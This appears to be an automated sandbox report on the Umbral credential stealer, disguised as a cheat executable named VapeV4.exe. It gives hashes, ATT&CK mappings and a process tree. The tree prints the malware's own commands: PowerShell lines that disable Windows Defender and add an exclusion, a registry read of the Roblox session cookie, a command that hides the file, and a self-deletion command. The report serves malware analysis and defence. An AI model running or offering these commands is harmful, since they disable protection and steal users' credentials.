umbral | 14a16b4fcb0af8c5fae891e060a5175f58c020a735be9e5a2242ac76c4327946

Analysis

max time kernel
112s
max time network
118s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
28-07-2024 02:14

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General

Target

VapeV4.exe
Size

12.0MB
MD5

5f3fabec375e5a1acc1431477309ab48
SHA1

c12fc1f9da09dd799601cc8c852cd742e6d2b32e
SHA256

14a16b4fcb0af8c5fae891e060a5175f58c020a735be9e5a2242ac76c4327946
SHA512

9b9567c649e98964949dc00a6865d0656c2fa600f294a654ef4264b48a6b34f0d3096c20603acafbb47c4e1568893078dc53c5a619a9b839fee434853bfb9d72
SSDEEP

98304:DemvHzXnfpOfKEmZH0H7UpjSSJgEEjZoTsBbZAqSsraMh+QIUuoMOWucEZ8:DNHrxygH87BdjZ/JPraxzNo

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0002000000022aaf-11.dat	family_umbral
behavioral1/memory/3620-18-0x0000014BE45D0000-0x0000014BE4610000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe
4420	powershell.exe
1176	powershell.exe
2700	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	VAPECRACKED.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation	VapeV4.exe

Executes dropped EXE 2 IoCs

pid	Process
2820	PTV0FS56EO2.EXE
3620	VAPECRACKED.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VapeV4.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1640	cmd.exe
4520	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
700	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4520	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3620	VAPECRACKED.EXE
2700	powershell.exe
2700	powershell.exe
1176	powershell.exe
1176	powershell.exe
2736	powershell.exe
2736	powershell.exe
3380	powershell.exe
3380	powershell.exe
3380	powershell.exe
4420	powershell.exe
4420	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	PTV0FS56EO2.EXE
Token: SeDebugPrivilege	3620	VAPECRACKED.EXE
Token: SeIncreaseQuotaPrivilege	2104	wmic.exe
Token: SeSecurityPrivilege	2104	wmic.exe
Token: SeTakeOwnershipPrivilege	2104	wmic.exe
Token: SeLoadDriverPrivilege	2104	wmic.exe
Token: SeSystemProfilePrivilege	2104	wmic.exe
Token: SeSystemtimePrivilege	2104	wmic.exe
Token: SeProfSingleProcessPrivilege	2104	wmic.exe
Token: SeIncBasePriorityPrivilege	2104	wmic.exe
Token: SeCreatePagefilePrivilege	2104	wmic.exe
Token: SeBackupPrivilege	2104	wmic.exe
Token: SeRestorePrivilege	2104	wmic.exe
Token: SeShutdownPrivilege	2104	wmic.exe
Token: SeDebugPrivilege	2104	wmic.exe
Token: SeSystemEnvironmentPrivilege	2104	wmic.exe
Token: SeRemoteShutdownPrivilege	2104	wmic.exe
Token: SeUndockPrivilege	2104	wmic.exe
Token: SeManageVolumePrivilege	2104	wmic.exe
Token: 33	2104	wmic.exe
Token: 34	2104	wmic.exe
Token: 35	2104	wmic.exe
Token: 36	2104	wmic.exe
Token: SeIncreaseQuotaPrivilege	2104	wmic.exe
Token: SeSecurityPrivilege	2104	wmic.exe
Token: SeTakeOwnershipPrivilege	2104	wmic.exe
Token: SeLoadDriverPrivilege	2104	wmic.exe
Token: SeSystemProfilePrivilege	2104	wmic.exe
Token: SeSystemtimePrivilege	2104	wmic.exe
Token: SeProfSingleProcessPrivilege	2104	wmic.exe
Token: SeIncBasePriorityPrivilege	2104	wmic.exe
Token: SeCreatePagefilePrivilege	2104	wmic.exe
Token: SeBackupPrivilege	2104	wmic.exe
Token: SeRestorePrivilege	2104	wmic.exe
Token: SeShutdownPrivilege	2104	wmic.exe
Token: SeDebugPrivilege	2104	wmic.exe
Token: SeSystemEnvironmentPrivilege	2104	wmic.exe
Token: SeRemoteShutdownPrivilege	2104	wmic.exe
Token: SeUndockPrivilege	2104	wmic.exe
Token: SeManageVolumePrivilege	2104	wmic.exe
Token: 33	2104	wmic.exe
Token: 34	2104	wmic.exe
Token: 35	2104	wmic.exe
Token: 36	2104	wmic.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeIncreaseQuotaPrivilege	2976	wmic.exe
Token: SeSecurityPrivilege	2976	wmic.exe
Token: SeTakeOwnershipPrivilege	2976	wmic.exe
Token: SeLoadDriverPrivilege	2976	wmic.exe
Token: SeSystemProfilePrivilege	2976	wmic.exe
Token: SeSystemtimePrivilege	2976	wmic.exe
Token: SeProfSingleProcessPrivilege	2976	wmic.exe
Token: SeIncBasePriorityPrivilege	2976	wmic.exe
Token: SeCreatePagefilePrivilege	2976	wmic.exe
Token: SeBackupPrivilege	2976	wmic.exe
Token: SeRestorePrivilege	2976	wmic.exe
Token: SeShutdownPrivilege	2976	wmic.exe
Token: SeDebugPrivilege	2976	wmic.exe
Token: SeSystemEnvironmentPrivilege	2976	wmic.exe
Token: SeRemoteShutdownPrivilege	2976	wmic.exe
Token: SeUndockPrivilege	2976	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 2820	4112	VapeV4.exe	87
PID 4112 wrote to memory of 2820	4112	VapeV4.exe	87
PID 4112 wrote to memory of 3620	4112	VapeV4.exe	89
PID 4112 wrote to memory of 3620	4112	VapeV4.exe	89
PID 3620 wrote to memory of 2104	3620	VAPECRACKED.EXE	90
PID 3620 wrote to memory of 2104	3620	VAPECRACKED.EXE	90
PID 3620 wrote to memory of 4612	3620	VAPECRACKED.EXE	93
PID 3620 wrote to memory of 4612	3620	VAPECRACKED.EXE	93
PID 3620 wrote to memory of 2700	3620	VAPECRACKED.EXE	95
PID 3620 wrote to memory of 2700	3620	VAPECRACKED.EXE	95
PID 3620 wrote to memory of 1176	3620	VAPECRACKED.EXE	97
PID 3620 wrote to memory of 1176	3620	VAPECRACKED.EXE	97
PID 3620 wrote to memory of 2736	3620	VAPECRACKED.EXE	101
PID 3620 wrote to memory of 2736	3620	VAPECRACKED.EXE	101
PID 3620 wrote to memory of 3380	3620	VAPECRACKED.EXE	104
PID 3620 wrote to memory of 3380	3620	VAPECRACKED.EXE	104
PID 3620 wrote to memory of 2976	3620	VAPECRACKED.EXE	106
PID 3620 wrote to memory of 2976	3620	VAPECRACKED.EXE	106
PID 3620 wrote to memory of 4472	3620	VAPECRACKED.EXE	108
PID 3620 wrote to memory of 4472	3620	VAPECRACKED.EXE	108
PID 3620 wrote to memory of 3104	3620	VAPECRACKED.EXE	110
PID 3620 wrote to memory of 3104	3620	VAPECRACKED.EXE	110
PID 3620 wrote to memory of 4420	3620	VAPECRACKED.EXE	113
PID 3620 wrote to memory of 4420	3620	VAPECRACKED.EXE	113
PID 3620 wrote to memory of 700	3620	VAPECRACKED.EXE	115
PID 3620 wrote to memory of 700	3620	VAPECRACKED.EXE	115
PID 3620 wrote to memory of 1640	3620	VAPECRACKED.EXE	117
PID 3620 wrote to memory of 1640	3620	VAPECRACKED.EXE	117
PID 1640 wrote to memory of 4520	1640	cmd.exe	119
PID 1640 wrote to memory of 4520	1640	cmd.exe	119

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4612	attrib.exe

C:\Users\Admin\AppData\Local\Temp\VapeV4.exe
"C:\Users\Admin\AppData\Local\Temp\VapeV4.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE
  "C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE
  "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2104
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE"
    3⤵
    - Views/modifies file attributes
    PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3380
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4472
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4420
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:700
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6a29e9f9eb72c3bffbb054cd27e3ceea

SHA1
d38f7c2ad68dcf1d24deca9792256ff53d5218b2

SHA256
7a9f831f96b9e4843751dea3ed57ee11d70bb83a5970ddf9d6bd440f4def442c

SHA512
b4826f172c6ac60ad17412a634987c45640b1b8fe03aecba26510ae224685bcd571bc4b131724036e2b502b3a8198fb69414be8c72e46f833f0601a15d313430

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b5e2fd95470c50743ba121fd6bd03a7b

SHA1
75545ed499d9dde51a1fc1cf535eb4f50ec79250

SHA256
d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288

SHA512
76bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423

Download Submit
C:\Users\Admin\AppData\Local\Temp\PTV0FS56EO2.EXE

Filesize
11.7MB

MD5
2e56df9a8706992ee6ea0f376f9af25a

SHA1
5cab7bda6971e9348495763455067d2bb8a336e9

SHA256
0303959c78d21b55fc3421ef30a80da761a5a5e2a6f8f844fdadfbd41e7f1c50

SHA512
b1c486ea9e50dfb570e0a3d0532cdc685e7d23fb4852023bc8ef8587c45752bd4c0a05cea00b65286027855bfca412ccc303523906f1a43f81d246ac2b8b2bf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\VAPECRACKED.EXE

Filesize
227KB

MD5
e572c3eebbf522dc416c145df031dfaa

SHA1
b057756cb76c87090cec0a171bb8c45f867675bc

SHA256
da84aa6df18872e32ee26478b43130929e95640ea0862f05c96ec44c165c8472

SHA512
421125d31685855a726f4d6e60a8a76aec03fa298ab0d5e790edf15a5fc6b9eb5f03584313fb0f737a800216d677ab100e0a3804c835b9a26657b2b3d086aba4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rg2m4145.5hc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2700-27-0x0000019064950000-0x0000019064972000-memory.dmp

Filesize
136KB

Download
memory/2820-19-0x00007FF7BF690000-0x00007FF7C025B000-memory.dmp

Filesize
11.8MB

Download
memory/2820-105-0x00007FF7BF690000-0x00007FF7C025B000-memory.dmp

Filesize
11.8MB

Download
memory/3620-18-0x0000014BE45D0000-0x0000014BE4610000-memory.dmp

Filesize
256KB

Download
memory/3620-48-0x0000014BFEAF0000-0x0000014BFEB66000-memory.dmp

Filesize
472KB

Download
memory/3620-49-0x0000014BFEB70000-0x0000014BFEBC0000-memory.dmp

Filesize
320KB

Download
memory/3620-50-0x0000014BE63A0000-0x0000014BE63BE000-memory.dmp

Filesize
120KB

Download
memory/3620-20-0x00007FFDDD033000-0x00007FFDDD035000-memory.dmp

Filesize
8KB

Download
memory/3620-86-0x0000014BE4C00000-0x0000014BE4C0A000-memory.dmp

Filesize
40KB

Download
memory/3620-87-0x0000014BE63E0000-0x0000014BE63F2000-memory.dmp

Filesize
72KB

Download